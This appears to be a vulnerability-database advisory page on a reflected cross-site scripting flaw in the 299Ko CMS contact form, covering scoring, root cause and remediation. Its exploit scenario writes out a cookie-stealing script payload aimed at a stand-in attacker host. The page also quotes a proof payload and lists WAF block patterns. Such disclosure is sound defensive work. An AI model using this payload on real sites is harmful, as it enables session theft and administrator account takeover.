Skip to main content

299Ko CMS CVE-2026-71249

| EUVDEUVD-2026-53322 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-05 309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c GHSA-pf9g-3vw7-vgqf
6.1
CVSS 3.1 · Vendor: 309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Host auto-submitting form with XSS payload
  2. Delivery
    Deliver link to authenticated admin victim
  3. Exploit
    Victim browser submits POST to contact form
  4. Execution
    299Ko renders unsanitized name field into HTML attribute
  5. Persist
    Injected script executes in application origin
  6. Impact
    Session token exfiltrated to attacker server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The 299Ko contact form must be publicly accessible, which is its default deployment purpose. The attacker requires no authentication (PR:N per CVSS vector). Exploitation requires that a victim - most impactfully an authenticated administrator - load the contact form page with the attacker's payload reflected in the response; this is the UI:R condition confirmed by the CVSS vector. The attacker can satisfy this condition by hosting an auto-submitting CSRF-style form (eliminating the need for the victim to manually type anything) or by social-engineering the victim into submitting a pre-filled form link. Exploitation is strictly limited by the reflected (non-persistent) nature of the XSS: the payload is not stored server-side, so each attack instance requires the victim to load the crafted URL or auto-submit page. Session cookie theft is further constrained if cookies are set with the HttpOnly flag, which would prevent JavaScript access - this flag's status in 299Ko is not confirmed from available data.

Impact

The CVSS 6.1 medium score is appropriate: the attack is fully network-accessible with no authentication requirement (AV:N/PR:N) and low complexity (AC:L), but mandates victim interaction (UI:R), constraining opportunistic mass exploitation. The scope change (S:C) elevates the score by acknowledging cross-boundary impact. No EPSS data was supplied, so exploitation probability cannot be quantified - this is a missing signal. No CISA KEV listing is present, confirming no recorded active exploitation at time of analysis. However, the CVE description enumerates the exact vulnerable file paths, method names, template file, and a functional payload - this specificity is functionally equivalent to a public POC, significantly lowering the barrier to exploitation and making the 'no public exploit' designation a narrow technical distinction. The primary realistic risk is targeted attacks against site administrators: the reflected nature of the XSS prevents passive mass exploitation but enables CSRF-style auto-submit attacks. The niche deployment footprint of 299Ko limits aggregate exposure across the internet, but any individual instance with an authenticated admin session is fully at risk.

Exploit ScenarioDerived

An attacker crafts an HTTP POST request to the 299Ko contact form with the field name="><script>fetch('https://attacker.example/c?k='+document.cookie)</script> and embeds it in an auto-submitting HTML form hosted on an attacker-controlled page, then delivers the link to a site administrator. When the administrator's browser auto-submits the form while authenticated, the contact page renders the unsanitized payload in an HTML attribute, the script tag executes in the 299Ko origin, and the session cookie is exfiltrated to the attacker's server. The CVE description's explicit code-path disclosure and working payload example ("><script>alert(document.domain)</script>) provide all components needed to weaponize this attack without a separate POC.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 05, 2026

Reflected XSS in 299Ko CMS's public contact form allows unauthenticated remote attackers to inject and execute arbitrary JavaScript in a victim's browser by submitting unsanitized POST field values that are echoed unescaped into HTML attributes and a textarea. The vulnerability is in the template engine's output function (_show_var() in common/Template.php), which lacks any htmlspecialchars() encoding, and is exploitable against any visitor - including a targeted administrator - enabling session token theft. No CISA KEV listing exists at time of analysis, but the CVE description provides exact code paths and a working payload, making independent exploit development trivial.

RemediationAI

No vendor-released patch has been identified at time of analysis. The definitive fix is to apply htmlspecialchars($value, ENT_QUOTES, 'UTF-8') within the _show_var() method of common/Template.php, which would enforce output encoding globally across all template variable rendering - this is the highest-leverage single change. Alternatively, sanitization can be applied in ContactController.php's home() method before assignment to template variables, though defense-in-depth favors fixing the template engine layer. Administrators unable to patch immediately should consider disabling the contact form endpoint if it is not operationally required, accepting the trade-off of losing the contact functionality entirely. A WAF rule blocking <script, event handler keywords (onerror, onload, onfocus), and quote-injection sequences ("> or '>) in POST body fields can reduce exposure, but obfuscated or encoded payloads may bypass naive pattern matching. Monitor 299Ko source repositories at https://github.com/search?q=299ko&type=repositories for upstream commits addressing this issue.

Affected VersionsENISA

299ko 0

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting), specifically the reflected variant. 299Ko is a PHP-based CMS. The root cause is a complete absence of output encoding across the data flow: ContactController.php's home() method assigns raw HTTP POST values (name, firstname, email, message) directly to template variables; the template engine's _show_var() in common/Template.php echoes these values without calling htmlspecialchars() or any equivalent sanitization; and the sink template contact.tpl renders the values in two dangerous HTML contexts - an attribute context (where injecting "> closes the attribute and tag to inject markup) and a textarea context (where </textarea> breaks out of the element). No CPE strings were provided, so exact version pinning is not possible from available data. The CVSS scope change (S:C) reflects that injected script executes in the 299Ko application's origin, crossing the application boundary into the victim browser's security context.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Public contact form is network-accessible with no auth; reflected XSS mandates victim interaction; scope change captures cross-origin script execution enabling session theft.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:N/SA:N

Primary rating from Vendor (309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c).

CVSS VectorVendor: 309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

299Ko's public contact form (plugin/contact/controllers/ContactController.php, home()) sets raw POST field values (name, firstname, email, message) into the page template with no sanitization. The template engine's variable output function (common/Template.php, _show_var()) echoes values with no htmlspecialchars() call, and the sink template (contact.tpl) outputs these values unescaped into an HTML attribute and a textarea. An unauthenticated attacker can submit a payload such as name="><script>alert(document.domain)</script> to achieve reflected XSS against any visitor who submits or is tricked into auto-submitting the form, including a targeted administrator, enabling session token theft.

Threat Intelligence Overview

EPSS Score
0.2%
Top 93% exploitable
Prevalence
Low
niche PHP CMS, minimal enterprise or widespread production adoption
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy